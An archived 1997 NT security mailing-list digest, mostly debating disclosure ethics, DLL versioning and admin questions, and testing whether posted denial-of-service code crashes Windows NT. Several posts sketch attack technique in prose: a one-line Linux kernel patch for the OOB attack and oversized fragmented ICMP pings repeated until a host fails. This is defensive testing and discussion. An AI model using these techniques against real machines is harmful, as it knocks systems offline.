David LeBlanc wrote:
> 
> At 15:02 6/27/97 -0400, Leonard Timmons wrote:
> >Only the author knows whether his intent was to retaliate for some
> >perceived past wrong. If it was, then I would have to determine
> >whether the damage done to him warranted his release of this
> >code.
> 
> I think perhaps his web page name (jihad) is a comment on that. Personally,
> I think it is only appropriate to release exploit code when the vendor has
> been notified and has had a reasonable length of time to fix the problem.
> After that, full disclosure is a good thing.

The author states that the name of his page was somewhat tongue in
cheek.

I am beginning to think somewhat differently about this situation than 
I have previously. I am going to retract my statement that his acts
and those of others in crashing IIS were vandalous.

I understand that many of you have thought about this situation in 
much more depth and for a much greater time than I have. But I don't 
see the parallel between a computer attached to a network and a house 
with a front door. I have started to look at this from a free speech
perspective. I am also beginning to neglect the current state of 
technology. Technology changes, but communication still exists.
Let me see if I can't put this in a coherent form.

-leonard
I'm running a cacls script to set up permissions for NT 4.0 workstations in
a lab. The script works fine (assigns the lab user RX permissions) for
everything except system files. The System still has full rights to these
files, but the script isn't setting rights for the lab user, so they still
have full control over the files. 

Is this what I'm stuck with, or am I missing something obvious? Shouldn't I
be able to lock down my WINNT directory? (I can via explorer.exe.) 

Thanks for any insights.

Patricia
On Mon, 30 Jun 1997, Andreas Lundgren wrote:

> At 22.31 97-06-28, Michael Nelson wrote:
> 
> This is one of the things I really dislike about NT; lot's of stuff that's
> in the registry are things you'd probably want to change, IF you knew the
> option existed! Programs/drivers should not have default actions that are
> unknown (i.e. doesn't show in the registry), IMHO.

What's worse is that even when the options are there, it's often far from
obvious what they do. With NT Microsoft had the opportunity to come
out with something that was a whole lot better than a certain OS that
shall remain nameless. Alas, the best that can be said is they came
out with something different. NT5 needs to be a significant improvment
if this baby is going to fly.

Even the Microsoft name can only push this cart so far. On the other 
hand, people have been supporting badly designed and hard to manage OS's
for a long time, so maybe it's not an issue. :-)

-
Mike Miller
mke@llnl.gov
 "email, the ultimate push technology"
speaking for myself.

I would like the group's opinion about what technicians/support engineers
need to know about the "Essentials of IP Security" I am putting materials
together for some hardware specific classes but am finding that many of
those coming to my classes are new to the world of LAN/WAN connectivity and
are missing the fundamentals. Hence the need for that information in a
usable format

So... what does this group think the fundamentals are & what do people need
to know?

Thanks for your input. I would be happy to summarize the responses and post
that back to the group rather than taking bandwidth in this forum.

Alan


At 22:51 6/29/97 -0700, Jiva DeVoe wrote:
>Yes, patched machines are vulnerable. That's all the code I have, however,
>it appears I made a mistake and included a version I was working on for
>Windows, just take out winsock2.h from the includes and it should compile
>under linux.

There are some problems with that code - 

1) It won't compile on Linux - it lacks proper headers - there were also
some places where the arguments to the socket() call weren't quite right.

2) You have to set the checksum on the packet - Linux won't allow you to set
it to zero and have it be valid.

3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
and we can't find any of them that it disturbs (much less freezing or BSOD).

If anyone else can verify this one way or the other, please let us all know.
At this point, we consider it to be unreproducible.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

There's a particularly easy way to do it from Win95. See:

http://www.geek-girl.com/bugtraq/1997_2/0332.html

 Ryan

---------- Previous Message ----------
To: R.Tinsley
cc: ntsecurity
From: dleblanc@iss.net (David LeBlanc) @ smtp
Date: 06/29/97 03:22:00 PM
Subject: Re: Mac-OOB (was Re: [NTSEC] Official Microsoft response to ISS 
denial of service bug)

At 17:01 6/28/97 +0100, Bob Tinsley wrote:
>On Fri, 27 Jun 1997, David LeBlanc wrote:
>> I think perhaps his web page name (jihad) is a comment on that. Personally,
>> I think it is only appropriate to release exploit code when the vendor has
>> been notified and has had a reasonable length of time to fix the problem.
>> After that, full disclosure is a good thing.
 
>In that vein, I haven't seen any published source for carrying out the
>Macintosh OOB attack from non-Apple machines. If anyone would like to
>test whether they are vulnerable, download the code [joob.c] from

In order to get it to run on UNIX, you have to be able to hack the sources.
Inserting a "- 1" in a strategic place in tcp.c, and recompiling Linux does
the trick. It is possible to force this to happen if you can fabricate raw
packets and can sniff yourself - I _could_ cause NT to do this, but it is a
lot of trouble.

That's the reason you haven't seen much source - it isn't especially easy to
pull off if you can't patch the kernel, and if you screw around with Linux
in order to be able to do it, you might also screw up something that depends
on MSG_OOB working differently.

Best way to detect whether you're vulnerable is to check the file time on
your tcpip.sys.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |




At 11:49 AM 6/30/97 -0400, you wrote:

>There are some problems with that code - 
>1) It won't compile on Linux - it lacks proper headers - there were also
>some places where the arguments to the socket() call weren't quite right.
>2) You have to set the checksum on the packet - Linux won't allow you to set
>it to zero and have it be valid.
>3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
>and we can't find any of them that it disturbs (much less freezing or BSOD).

 I must agree this code is not capable of freezing a NT, but recently in bugtraq fATE posted a binary named sping. Sping froze my NT system from a root account of a linux server.

 I think sping is the code posted by Jiva correctly compiled.

 My machine had SP3+OOB_FIX+asp applied.


--
Roger Sen Montero 
Intercom Servicios Telematicos Avanzados, S.A
Cerdanyola del Valles, Barcelona

 Will/can it affect Win95 machines?

Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Mon, 30 Jun 1997, David LeBlanc wrote:

> At 22:51 6/29/97 -0700, Jiva DeVoe wrote:
> >Yes, patched machines are vulnerable. That's all the code I have, however,
> >it appears I made a mistake and included a version I was working on for
> >Windows, just take out winsock2.h from the includes and it should compile
> >under linux.
> 
> There are some problems with that code - 
> 
> 1) It won't compile on Linux - it lacks proper headers - there were also
> some places where the arguments to the socket() call weren't quite right.
> 
> 2) You have to set the checksum on the packet - Linux won't allow you to set
> it to zero and have it be valid.
> 
> 3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
> and we can't find any of them that it disturbs (much less freezing or BSOD).
> 
> If anyone else can verify this one way or the other, please let us all know.
> At this point, we consider it to be unreproducible.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net 
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |
> 
I have also had problems reproducing the code on NT4 SP3.x.x w/ VC++ 5.0 & Winsock 2.1.x due to header and socket call problems.

If anyone else can get this to work on VC++/NT 4.0 please post it!

Thanks

Brian James Mulford 
mailto:bmulford@deilink.com - news:alt.brian

Data Enhancement International, Inc.
2361 Campus Drive Suite 215
Irvine California 92612

Phone (714) 833-3672 Fax (714) 833-8572
http://www.deilink.com ftp://ftp.deilink.com

Image is everything. People's perceptions of reality overshadow true reality. 
It's all in the building of perception. It's the creation of an image. 
Substance is no longer of any importance.

----------
From: David LeBlanc 
Sent: Monday, June 30, 1997 8:49 AM
To: Jiva DeVoe ; Patrick Cantwell 
Cc: ntsecurity@iss.net
Subject: Re: [NTSEC] Re: Another Nuke..

At 22:51 6/29/97 -0700, Jiva DeVoe wrote:
>Yes, patched machines are vulnerable. That's all the code I have, however,
>it appears I made a mistake and included a version I was working on for
>Windows, just take out winsock2.h from the includes and it should compile
>under linux.

There are some problems with that code - 

1) It won't compile on Linux - it lacks proper headers - there were also
some places where the arguments to the socket() call weren't quite right.

2) You have to set the checksum on the packet - Linux won't allow you to set
it to zero and have it be valid.

3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
and we can't find any of them that it disturbs (much less freezing or BSOD).

If anyone else can verify this one way or the other, please let us all know.
At this point, we consider it to be unreproducible.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Kris Carlier wrote:
> > It is indeed plain vandalism to even try to shut down a service without
> > proper permission from the administrator. Period. Don't let
> > anti-Microsoft fanatism confuse your ethics.

No matter how unethical and trashy microsoft may be (J-direct indeed!),
it -is- unethical to shut down their machines/services without
permission.

However, you'll note that despite having been attacked themselves this
time, they -still- tried to downplay the significance of the problem. 
They obviously haven't gotten the message they should have picked up
-without- being attacked.
 Will/can it affect Win95 machines?

Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Mon, 30 Jun 1997, David LeBlanc wrote:

> At 22:51 6/29/97 -0700, Jiva DeVoe wrote:
> >Yes, patched machines are vulnerable. That's all the code I have, however,
> >it appears I made a mistake and included a version I was working on for
> >Windows, just take out winsock2.h from the includes and it should compile
> >under linux.
> 
> There are some problems with that code - 
> 
> 1) It won't compile on Linux - it lacks proper headers - there were also
> some places where the arguments to the socket() call weren't quite right.
> 
> 2) You have to set the checksum on the packet - Linux won't allow you to set
> it to zero and have it be valid.
> 
> 3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
> and we can't find any of them that it disturbs (much less freezing or BSOD).
> 
> If anyone else can verify this one way or the other, please let us all know.
> At this point, we consider it to be unreproducible.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net 
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |
> 
David LeBlanc wrote:
> 
> At 22:51 6/29/97 -0700, Jiva DeVoe wrote:
> >Yes, patched machines are vulnerable. That's all the code I have, however,
> >it appears I made a mistake and included a version I was working on for
> >Windows, just take out winsock2.h from the includes and it should compile
> >under linux.
> 
> There are some problems with that code -
> 
> 1) It won't compile on Linux - it lacks proper headers - there were also
> some places where the arguments to the socket() call weren't quite right.
> 
> 2) You have to set the checksum on the packet - Linux won't allow you to set
> it to zero and have it be valid.
> 
> 3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
> and we can't find any of them that it disturbs (much less freezing or BSOD).
> 
> If anyone else can verify this one way or the other, please let us all know.
> At this point, we consider it to be unreproducible.
> 

I compiled it using gcc on Solaris 2.5. I cannot get any negative
reaction from either an NT 3.51 (SP2) or an Alpha/NT 4.0 host.

Joe
--
In theory, theory and practice are the same; 
In practice, they're not even close!
At 07:12 PM 6/30/97 +0200, Roger Sen Montero wrote:
>At 11:49 AM 6/30/97 -0400, you wrote:
>
>>There are some problems with that code - 
>>1) It won't compile on Linux - it lacks proper headers - there were also
>>some places where the arguments to the socket() call weren't quite right.
>>2) You have to set the checksum on the packet - Linux won't allow you to set
>>it to zero and have it be valid.
>>3) Now that we fixed it up and made it work, it pings NT boxes quite nicely,
>>and we can't find any of them that it disturbs (much less freezing or BSOD).
>
> I must agree this code is not capable of freezing a NT, but recently in
bugtraq fATE posted a binary named sping. Sping froze my NT system from a
root account of a linux server.

I just ran the same sping from a Linux box as root against my NT 4.0
Workstation with SP3 and nothing happened. I then took a trace of the
traffic output of sping and can confirm it is just the same old large ping
that will cause the ICMP packet to be fragmented. It is interesting to note
that the code previously mentioned will compile on Solaris, but it causes
all sorts of screwy things to happen on the wire, though my NT 4.0
workstation did not have any problems with it either. The code compiled on
Solaris sent an initial ICMP echo request the maximum packet size for the
ethernet with the "don't fragment" flag set. My machine responded with an
echo reply, and then the Solaris box sent me ICMP echo *replies* back to
me, each with the don't fragment flag set and a bogus (all zeros) checksum.

Again, neither caused any problems on my SP3 workstation.

>
> I think sping is the code posted by Jiva correctly compiled.

Based on what I saw, it does not appear to be the same code.



Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
> 2) You have to set the checksum on the packet - Linux won't allow you to
> set it to zero and have it be valid.

Perhaps that's where the OOB is coming from...

At 10:27 6/30/97 -0700, DeiLink - BMulford wrote:
>I have also had problems reproducing the code on NT4 SP3.x.x w/ VC++ 5.0 &
Winsock 2.1.x due to header and socket call problems.
>
>If anyone else can get this to work on VC++/NT 4.0 please post it!

It isn't going to. NT won't let you write most of the IP headers yourself.
Unless there is something subtle going on, the same code under NT is
actually much simpler.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 13:36 6/30/97 -0700, John D. Hardin wrote:
>> 2) You have to set the checksum on the packet - Linux won't allow you to
>> set it to zero and have it be valid.
 
>Perhaps that's where the OOB is coming from...

We tried that, and NT just ignored the packets.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 10:34 6/30/97 -0700, Dan Stromberg wrote:

>However, you'll note that despite having been attacked themselves this
>time, they -still- tried to downplay the significance of the problem. 
>They obviously haven't gotten the message they should have picked up
>-without- being attacked.

I think we can account for this by looking at who wrote the explanation.
When the developers tell us what is going on, we get a whole different
picture and attitude than when we read the "official" version on the web.

First of all, the marketing people are not going to understand what the
engineers are telling them - instant information loss. They are then going
to try and translate it down to the level of a base end-user - more
information loss. Lastly, they simply cannot bring themselves to say
anything bad about their company - it is just not their nature. Consider
the following:

1) code is screwed up - feature X doesn't work
2) bug gets reported and corrected

Engineer explains thusly:
"We had a bad pointer in the blat module - stupid thing probably never worked"

Marketing person explains:
"The X feature has been enhanced"

8-)

Just take it with a grain of salt - Netscape did the same thing when a
fairly ugly bug was found in their browser, and other companies do it, too.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

DLL's already include a version number system in them,
and decent installers will check to see if they are trying to
overwrite a newer DLL with an older one. Unfortunatly,
a bad installer will happily overwrite without checking.

 Ryan

---------- Previous Message ----------
To: ntsecurity
cc: 
From: nils@trados.com (Cornelis van der Laan) @ smtp
Date: 06/30/97 01:47:36 AM
Subject: RE: [NTSEC] Re: ntsecurity-digest V2 #564

On Monday, June 30, 1997 00:53, Michael J. Miller Jr. wrote:
> On Mon, 30 Jun 1997, Michael Simmons wrote:
> 
> This is just plain bad. Dynamic libraries are a good idea, but they
> are also hard to manage and deal with in many ways. Microsoft has
> a very bad record in this area. New versions of libraries aren't
> always compatible with applications designed with older versions, and
> I get the distinct impression that the potential security issues haven't
> been fully addressed either.
> 

That's why Unices use version numbers on the shared libraries. Apps are linked
to a lib marked with a major and minor version number. At execution time,
the app (or the loader) looks for versions of the library with the same major 
and the highest minor number, presuming that changes in the minor number are 
"non-fatal", but changes in the major number are.

MS tracks major revisions sometimes by giving the libraries new names 
(MFC42.DLL).
Revisions that don't go along with name changes fail badly (as seen with the
current transition from MSVC 4.2 to 5.0). Bad enough, some libs always have the 
same name, regardless of any revisions, and then all hell breaks loose.

Some OS support for version-controlled linking, version-controlled installation
of "system libraries" in /winnt and a separate /usr/lib for user libraries 
would 
help us all very much.

My $0.02.

Nils
-- 
Cornelis van der Laan, Trados Corporation
EMail: nils@trados.com




On Monday, June 30, 1997 16:27, Ryan Russell/SYBASE wrote:
> DLL's already include a version number system in them,
> and decent installers will check to see if they are trying to
> overwrite a newer DLL with an older one. Unfortunatly,
> a bad installer will happily overwrite without checking.

Even with a version check, the old library is overwritten
and not available anymore to apps that don't grok the new 
version. The installer is the wrong program to take the
decision of deleting/overwriting the files.

What about the loader, as far as I know it selects libraries
by name and ignores whatever version number the lib has. 
The only thing the loader spits out is messages about unknown 
symbols once it got the wrong one.

Making the version part of the file name as in mfc.4.2.dll,
well bad example, that's a major release: mfc.5.0.dll then,
would allow new programs to find the new lib, and old programs
to use the not-overwritten mfc.4.1.dll. As simple as that.
For our own software I wish we had the same mechanism, but
since MS doesn't help us with anything, we have to walk the
same old tracks again, making the same shitty systems with
the same errors if the libs don't match... Gnaaa. 

Nils
-- 
Cornelis van der Laan, Trados Corporation
EMail: nils@trados.com


A while ago someone posted an article on how to configure IIS to deliver
several file structures, ie : default.html, default.htm, index.htm,
index.html with a simple twick on the Internet Information Manager...

How do one get to do that ?

Regards
CJ

-----BEGIN PGP SIGNED MESSAGE-----

I can tell you guys that I've definitely seen this thing work, or something
that was claimed to be from this code. I've also seen it *not* work as
well. It seems to require several shots at the machine, perhaps up to 5-10
shots. And I've seen exactly that kill a machine. When I've seen it not
work, it seemed like not all the packets got to the target. I wonder if
that's why you guys aren't seeing it. You should see, I think, packets
continuing until the offset reaches just > 64k.

At 11:46 AM 6/30/97 -0700, Dominique Brezinski wrote:
>
>Again, neither caused any problems on my SP3 workstation.
>
>>
>> I think sping is the code posted by Jiva correctly compiled.
>
>Based on what I saw, it does not appear to be the same code.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM7iPbqsbArBQb5xNAQHykQP/bhi2VR/Sxvl+DWuTp40E0UXeLC8AFEil
+mo8pKsLC9B6RW/STPXSKgbkZt9xQlYWATjhcZERiqt1+DqXnMaxhUxU23ayfZpq
ZXDvtBdgD5MmceC5rjNA4OWxR/89dsQDC5gjcfrakWICupoVQpiXNbG3BSBc7G1X
cHz9IULGnK4=
=bBn5
-----END PGP SIGNATURE-----

list
end

 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans
On 30 Jun 1997, Ryan Russell/SYBASE wrote:

> DLL's already include a version number system in them,
> and decent installers will check to see if they are trying to
> overwrite a newer DLL with an older one. Unfortunatly,
> a bad installer will happily overwrite without checking.

Yes, but can you have multiple versions of a library installed? Because
of the naming convention I'd assume the answer to this is no. You need
to be able to have multiple versions of libraries around if you want to
assure that your older applications will work. I've had very bad experiences
with newer versions of libraries not working with older executables under
Windows 95, and from what I've read this is still a problem in NT.

-
Mike Miller
mke@llnl.gov
speaking for myself "email, the ultimate push technology"

Sorry that this is off topic, but I'm curious to know if anyone else has had this problem.

I find myself restarting the DNS services every time my modem link through R&R goes down. The server times out for no reason. It's not as if the DNS server is constantly generating traffic (or not that I know of) to be having timed out connections to other DNS servers (due to the downed link). Any comments/advice would be appreciated.

Andrew.

Sorry for the inconvenience due to this mail, but how can i switch my subscription to this list to DIGEST. In order to receive one time a day a digest off all the articles. I didn't find any explanation into the Help.

Philippe
---------------------------------------------------------------
STERIA Informatic SA/AG Phone : +41 22 708.02.28
Philippe Meylan FAX : +41 22 781.01.13
35 Rue des Bains, E-mail: Meylan@steria.ch
1205 GENEVE, SWITZERLAND 
---------------------------------------------------------------

Daniel Melameth writes:

> Will/can it affect Win95 machines?

Any Windows 95 machine directly exposed to the net deserves all it has
coming to it.

-- 
Piers Cawley -- Systems Genie for Aladdin
If a `religion' is defined to be a system of ideas that contains
unprovable statements, then Godel taught us that mathematics is not
only a religion, it is the only religion that can prove itself to be
one. -- John Barrow
At 06:24 PM 6/30/97 -0400, you wrote:
>1) code is screwed up - feature X doesn't work
>2) bug gets reported and corrected
>
>Engineer explains thusly:
>"We had a bad pointer in the blat module - stupid thing probably never
worked"
>
>Marketing person explains:
>"The X feature has been enhanced"
>
>8-)
>
>Just take it with a grain of salt - Netscape did the same thing when a
>fairly ugly bug was found in their browser, and other companies do it, too.

I actually think that's a little overly generous. If you follow the
vendor-supplied security advisories for the major Unix vendors, the story
is considerably different. They're obviously much more comfortable in an
enterprise setting. For instance, paging back through some of the more
recent security advisories, I came across one from Sun (this is only one
that is illustrative. All the other vendors who cross Bugtraq tend to do
similar things):

 Sun Microsystems, Inc. Security Bulletin

Bulletin Number: #00144
Date: June 24 1997
Cross-Ref: AUSCERT AA 97.18
Title: Vulnerability in chkey

[...]
3. Understanding the Vulnerability

 The program chkey is used to change a user's secure RPC Diffie-Hellman
 public key and secret key pair. Due to insufficient bounds checking on
 arguments passed to the chkey program, it is possible to overwrite the
 internal data space of chkey while it is executing. As chkey has setuid
 root permissions, this vulnerability may allow non-privileged users to
 gain root access.

And so on, with details instructions how to find the problem and such. Why
didn't Microsoft think it could tell us outright that there was
"insufficient bounds checking"? It's no different than Microsoft's
insistence on always mentioning that other systems are vulnernable to
various DoS attacks. You don't see Sun or HP or Digital or SGI feeling the
need to mention that in their security advisories.

Paul Leach was very correct in an earlier post on this subject when he
basically said you couldn't possibly try out every possibility. Even
Microsoft, with scads of engineers can't possibly be expected to find every
bug. (In fact, we all know they don't.) So why can't they just admit
there's a bug and get on with it. It makes protecting their systems much
easier if you know what you're protecting against.

Greg

>
>-----------------------------------------------------------
>David LeBlanc | Voice: (770)395-0150 x138
>Internet Security Systems, Inc. | Fax: (404)395-1972
>41 Perimeter Center East | E-Mail: dleblanc@iss.net 
>Suite 660 | www: http://www.iss.net/
>Atlanta, GA 30328 |
>
>

Ryan Russell/SYBASE wrote:
> DLL's already include a version number system in them,
> and decent installers will check to see if they are trying to
> overwrite a newer DLL with an older one. Unfortunatly,
> a bad installer will happily overwrite without checking.
> 
> Ryan
> 

Problem is not w/ installing, but with having some chance for
older and newer libraries to coexist in same system, so both
old and new application can work.

jd

-- 
Jaromir Dolecek ICS MU, Botanicka 68A, Brno, 60200, Czech Rep.
dolecek@ics.muni.cz Tel.: +42-5-4151 2266
http://www.ics.muni.cz/~dolecek/
-------------------------------------------------------------------------------
It is better never to have been born. But who among us has such luck?
One in a million, perhaps.
I seem to be getting double of everything?
Anyone else?

Mark
At 10:02 PM 6/30/97 -0700, you wrote:

>I can tell you guys that I've definitely seen this thing work, or something
>that was claimed to be from this code. I've also seen it *not* work as
>well. 

 Well, it crashed mine at first attack. I have no root access to the linux box, so I could not repeat the attack.

>>> I think sping is the code posted by Jiva correctly compiled.
>>Based on what I saw, it does not appear to be the same code.

 I stand corrected.
--
Roger Sen Montero 
Intercom Servicios Telematicos Avanzados, S.A
Cerdanyola del Valles, Barcelona


Date: Tuesday, 1 July 1997 7:28am CT
To: EXTERNAL.EMAIL
From: William.C.MURPHY
Subject: (NTSEC) Duplicates


I to seem to be getting several duplicates. How do you sign up for the
"Digest" version?
--------------------------( Forwarded letter 1 follows )---------------------
Date: Tuesday, 1 July 1997 8:38am HPDesk
To: External.EMAIL
From: EXTERNAL.EMAIL
Subject: (NTSEC) Duplicates

You are a BCC recipient of this message

******************************************************************************
/External
/From owner-ntsecurity@iss.net
/From markb@icon.co.za
/To ntsecurity@iss.net
/End
******************************************************************************

Part 3.


Delivered-To: nt-out-link@iss.net
Delivered-To: nt-out@iss.net
Precedence: bulk
X-Loop: ntsecurity
X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net

I seem to be getting double of everything?
Anyone else?

Mark

Can we please take the time to provide a resonable subject line
and not just reply to the digest message? This list is far to
chatty for members to not take the time and give us a break from
having to read every message

-- 
barry

|======================================================================
|Barry A. Suskind |"If it weren't for change, your job would 
|GE Information Services |consist of making sure the corporate abacus
|Email: bsuskind@is.ge.com |rods were adequately greased" - John Cleese
|Phone: (301)-340-4667 |===========================================
|SnailMail: 401 N Washington St, Mail Stop: MC07D, Rockville MD, 20850
in the WWW service properties (under iis 3.0)
go to the directories tab and in the default document field,
type in the names of the documents you want returned by default.
(index.html, index.htm, index.asp, etc...)

this feature only works with iis 3.0, so if you're still running 2 or 1,
you'll need to upgrade.

-joav kohn
 sr. technical consultant
 it/workgroup communications
 landis & staefa
"inside...we're all wet" - bjork

> -----Original Message-----
> From: CJ LiM [SMTP:limcj@smm.my.sony.com.sg]
> Sent: Monday, June 30, 1997 10:20 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] MS IIS ASP
> 
> A while ago someone posted an article on how to configure IIS to
> deliver
> several file structures, ie : default.html, default.htm, index.htm,
> index.html with a simple twick on the Internet Information Manager...
> 
> How do one get to do that ?
> 
> Regards
> CJ
On Thu, 26 Jun 1997, Tim Nelson wrote:

> Alternatively, just leave it as a PDC with no net connection, then it
> is a standalone server.

Erm, you can't actualy do this. When you install a ?DC you need a network
card or some form of networking. NT won't install a Domain Controller
without it. You could of course not plug a network cable in the card, or
install the "MS LOOPBACK" network driver (is that still part of NT4?)


I'm sure that there must be some registry entry or entries that can change
the role from Domain Controller to Standalone.... Wether it will work or
not after the change is the question. :)

Would changing HKEY_LOCAL_MACHINE\Software\Windows NT\CurrentVersion\
SoftwareType="SYSTEM" do the trick?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

At 10:02 PM 6/30/97 -0700, Jiva DeVoe wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I can tell you guys that I've definitely seen this thing work, or something
>that was claimed to be from this code. I've also seen it *not* work as
>well. It seems to require several shots at the machine, perhaps up to 5-10
>shots. And I've seen exactly that kill a machine. When I've seen it not
>work, it seemed like not all the packets got to the target. I wonder if
>that's why you guys aren't seeing it. You should see, I think, packets
>continuing until the offset reaches just > 64k.

I was sniffing and saw exactly that - a large very fragmented ICMP echo
request with 64K data. I watched all the fragments come through to the box,
but nothing happend. We hit the box with two iterations of it (one sniffed,
one not), though we could try more.


Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
Anyway to remotely make ERDs? Would be nice to have an app that would
make them for remote servers.

Jason Nash

I decided to try out the IE40 platform preview on my 
NT40 Server. After reading the release notes, I cautiously ran the setup prog 
and began exploring. For those of you who have not taken a look, it is quite 
nice, particularly ' Outlook Express ' Mail/News reader. At any rate, here's my question.
Periodically, with no apparent pattern, a 
dialog box appears informing me that, "Protected Storage needs my windows 
password....<snip> Since you have not rebooted, Protected storage cannot 
access your password...." Well...I have rebooted.
The first time it appeared was when I was 
logging into my POP3 server. I was prompted for my POP3 account password, then 
the Protected Storage dialog appeared. I was suspicious so I clicked cancel and 
was still authenticated to my POP3 server.
I guess the point is, why does Outlook Express 
want my Windows password and what is protected storage? Sorry to bring the 
discussion down a notch since this might seem elementary to some of you...but 
something seems out of place with this.
Cheers!

On Tuesday, July 01, 1997 6:53 AM, Michael J. Miller Jr. 
[SMTP:mke@llnl.gov] wrote:
> On 30 Jun 1997, Ryan Russell/SYBASE wrote:
>
> > DLL's already include a version number system in them,
> > and decent installers will check to see if they are trying to
> > overwrite a newer DLL with an older one. Unfortunatly,
> > a bad installer will happily overwrite without checking.
>
> Yes, but can you have multiple versions of a library installed? Because
> of the naming convention I'd assume the answer to this is no. You need
> to be able to have multiple versions of libraries around if you want to
> assure that your older applications will work. I've had very bad 
experiences
> with newer versions of libraries not working with older executables under
> Windows 95, and from what I've read this is still a problem in NT.
>

the machine i'm writing this from has mfc30.dll, mfc40.dll and mfc42.dll 
all installed in the system32 dir, as well as msvcrt.dll, msvcrt10.dll and 
msvcrt40.dll etc etc. the idea is that a dll name optionally contains 
major and minor version numbers, while the version resource within the dll 
effectively contains a patch level. an installer should only replace a dll 
of the same name if the version resource says it's newer.

giving a new dll the same name as an older version means that the author is 
guaranteeing that the new version will not break apps that use the older 
version. any other changes require a new dll name (a minor or major 
revision increment), thereby forcing the installation of a new, separate 
dll, leaving the previous versions intact.

this obviously depends on (a) the author actually getting it right and 
doing some thorough regression testing, (b) the author having a reasonable 
naming system for dlls, (c) the installer handling the versions correctly, 
and (d) client apps not relying on undocumented behaviour in the older dll. 

ms has no guidelines for naming conventions for dlls (eg for logo 
compliance), but i guess historically the 8.3 filename format (which i 
think persists under win32s if anyone bothers with that any more) 
restricted the naming system ms adopted for their own work.

> -
> Mike Miller
> mke@llnl.gov
> speaking for myself "email, the ultimate push technology"
>
>

jd

================================================
 Jeremy Davies 

 Orb Integration Technologists Limited
 93 Tabernacle St, London EC2A 4BA, England.
 Phone: +44-171-490-1888 Fax: +44-171-490-7757
 Mobile: +44-956-657268
================================================
I am on a number of lists and filter through quite a bit of mail daily. I appreciate those lists that can self moderate and maintain a high level of content specific to the intent of the list. This list is very valuable to me in that aspect, however, I am growing weary of the wasted bandwidth regarding individual opinions of the culpability of Microsoft to perfect a product prior to shipment.

Please keep your knowledge and expertise flowing, but , hey, enough! This list works (for me) best when the Q&A flows re NT Security issues, not "M$" bashing. Let's move on.

Jan Nelson


Jason:
We have the utility ERDisk that does the job. Look at:
http://www.ntsecurity.com/Products/ERDisk/index.html
Regards,
---------------------------------------------------------------------------
 Ratmir Timashev
 MWC, Inc.
 http://www.NTsecurity.com/
 

At 01:05 PM 7/1/97 -0400, you wrote:
>Anyway to remotely make ERDs? Would be nice to have an app that would
>make them for remote servers.
>
>Jason Nash
>




Check out the Administrator Assistant at: http://www.ntsecurity.com/

It has a util that allows for creating and maintaining RDisks from a
central location. I currently use it for 130 servers and it works great.
It is quick, and system overhead is very reasonable.




 wrote:



> Anyway to remotely make ERDs? Would be nice to have an app that would
> make them for remote servers.
>
> Jason Nash



>Date: Tue, 1 Jul 1997 20:25:10 -0400
>Reply-To: "Donald M. Barnard Jr." 
